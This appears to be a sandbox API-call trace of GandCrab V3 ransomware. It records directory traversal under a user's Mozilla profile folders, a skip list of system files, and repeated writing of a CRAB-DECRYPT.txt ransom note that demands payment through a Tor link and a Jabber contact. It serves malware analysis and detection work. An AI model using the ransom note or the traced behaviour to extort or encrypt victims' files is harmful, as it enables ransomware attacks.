	[0119.469] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0119.469] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0119.469] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0119.469] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0119.469] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.469] FindNextFileW (in: hFindFile=0xded768, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0119.469] lstrcmpW (lpString1="Extensions", lpString2=".") returned 1
	[0119.469] lstrcmpW (lpString1="Extensions", lpString2="..") returned 1
	[0119.469] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\", lpString2="Extensions" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions"
	[0119.469] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\"
	[0119.470] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0119.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0119.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0119.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0119.470] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.471] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0119.471] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0119.471] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0119.471] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0119.471] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0119.471] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0119.471] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.471] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\\\CRAB-DECRYPT.txt") returned 74
	[0119.471] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\extensions\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0119.526] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0119.526] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0119.527] CloseHandle (hObject=0x3f0) returned 1
	[0119.527] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.527] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\") returned 57
	[0119.527] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\*"
	[0119.528] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xded1a8
	[0119.528] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0119.528] FindNextFileW (in: hFindFile=0xded1a8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.528] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0119.528] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0119.528] FindNextFileW (in: hFindFile=0xded1a8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.528] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0119.528] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0119.528] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\CRAB-DECRYPT.txt"
	[0119.528] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.535] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\CRAB-DECRYPT.txt") returned 73
	[0119.536] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\CRAB-DECRYPT.txt") returned 73
	[0119.536] lstrlenW (lpString=".txt") returned 4
	[0119.536] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.536] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0119.536] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.536] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\CRAB-DECRYPT.txt") returned 73
	[0119.536] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\CRAB-DECRYPT.txt") returned 73
	[0119.536] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0119.536] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0119.537] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0119.537] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0119.537] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0119.537] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0119.537] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0119.537] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0119.537] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0119.537] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.538] FindNextFileW (in: hFindFile=0xded1a8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0119.538] FindClose (in: hFindFile=0xded1a8 | out: hFindFile=0xded1a8) returned 1
	[0119.538] FindNextFileW (in: hFindFile=0xded768, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0119.539] lstrcmpW (lpString1="Firefox", lpString2=".") returned 1
	[0119.539] lstrcmpW (lpString1="Firefox", lpString2="..") returned 1
	[0119.539] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\", lpString2="Firefox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox"
	[0119.539] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\"
	[0119.539] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0119.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0119.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0119.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0119.539] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0119.540] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0119.540] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0119.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0119.540] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0119.540] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0119.540] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.540] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\\\CRAB-DECRYPT.txt") returned 71
	[0119.540] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0119.542] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0119.542] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0119.543] CloseHandle (hObject=0x3f0) returned 1
	[0119.543] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.544] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 54
	[0119.544] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\*"
	[0119.544] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xded3a8
	[0119.544] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0119.544] FindNextFileW (in: hFindFile=0xded3a8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.544] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0119.544] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0119.544] FindNextFileW (in: hFindFile=0xded3a8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.544] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0119.544] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0119.544] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\CRAB-DECRYPT.txt"
	[0119.544] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.545] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\CRAB-DECRYPT.txt") returned 70
	[0119.545] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\CRAB-DECRYPT.txt") returned 70
	[0119.545] lstrlenW (lpString=".txt") returned 4
	[0119.545] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.545] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0119.545] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.545] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\CRAB-DECRYPT.txt") returned 70
	[0119.545] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\CRAB-DECRYPT.txt") returned 70
	[0119.545] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0119.546] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0119.546] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0119.546] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0119.546] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0119.546] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0119.546] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0119.546] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0119.546] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0119.546] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.546] FindNextFileW (in: hFindFile=0xded3a8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.546] lstrcmpW (lpString1="Crash Reports", lpString2=".") returned 1
	[0119.546] lstrcmpW (lpString1="Crash Reports", lpString2="..") returned 1
	[0119.546] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Crash Reports" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports"
	[0119.546] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\"
	[0119.546] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.547] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0119.547] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0119.547] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0119.547] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0119.547] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.547] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0119.547] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0119.547] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0119.548] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0119.548] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0119.548] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0119.548] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.548] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\\\CRAB-DECRYPT.txt") returned 85
	[0119.548] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\crash reports\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0119.614] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0119.614] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0119.615] CloseHandle (hObject=0x3f4) returned 1
	[0119.615] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.616] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\") returned 68
	[0119.616] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*"
	[0119.616] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xded3e8
	[0119.616] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0119.616] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0119.616] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0119.616] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0119.616] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0119.616] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0119.617] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0119.617] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\CRAB-DECRYPT.txt"
	[0119.617] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.617] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\CRAB-DECRYPT.txt") returned 84
	[0119.617] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\CRAB-DECRYPT.txt") returned 84
	[0119.617] lstrlenW (lpString=".txt") returned 4
	[0119.617] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.618] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
